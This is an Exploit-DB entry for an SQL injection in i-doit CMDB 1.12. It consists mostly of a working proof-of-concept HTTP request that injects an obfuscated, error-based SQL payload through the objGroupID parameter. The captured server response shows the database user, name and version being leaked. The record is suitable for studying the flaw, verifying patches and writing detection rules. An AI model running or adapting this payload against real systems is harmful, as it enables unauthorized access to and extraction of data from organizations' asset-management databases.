i-doit CMDB 1.12 - SQL Injection

EDB-ID:
46134

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-14

Vulnerable App:

```
# Exploit Title: i-doit CMDB 1.12 - SQL Injection
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.i-doit.org/
# Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-doit/1.12/idoit-open-1.12.zip
# Version: 1.12
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/?objGroupID=[SQL]
# Users..
#

GET /[PATH]/?
objGroupID=%31%32%27%7c%7c%28SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=1
HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=h6qbu3jsemq9en8c3epiri8323
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 12 Jan 2019 16:47:58 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
i-doit-Authorized: 1
X-i-doit-Notification-0: {"message":"Database error : Query error: 'SELECT
DISTINCT(isys_obj_type_group__const) FROM isys_obj_type\r\n\t\t\tINNER JOIN
isys_obj_type_group ON isys_obj_type_group__id =
isys_obj_type__isys_obj_type_group__id WHERE isys_obj_type_group__status =
2 AND isys_obj_type_group__id = '12'||(SeleCT 'Efe' FroM duAL WheRE 110=110
AnD (seLEcT 112 frOM(SElecT
CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct
(ELT(112=112,1))),FLooR(RAnd(0)*2))x FROM INFOrmatION_SchEMA.PluGINS grOUp
BY x)a))||''  ORDER BY isys_obj_type_group__sort,
isys_obj_type_group__const ASC LIMIT 0,1':\nDuplicate entry ' :
admin@localhostidoit_data10.1.21-MariaDB11' for key
'group_key'\n","type":2,"options":
{"sticky":true,"width":"400px","header":""}}
Keep-Alive: timeout=5, max=87
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link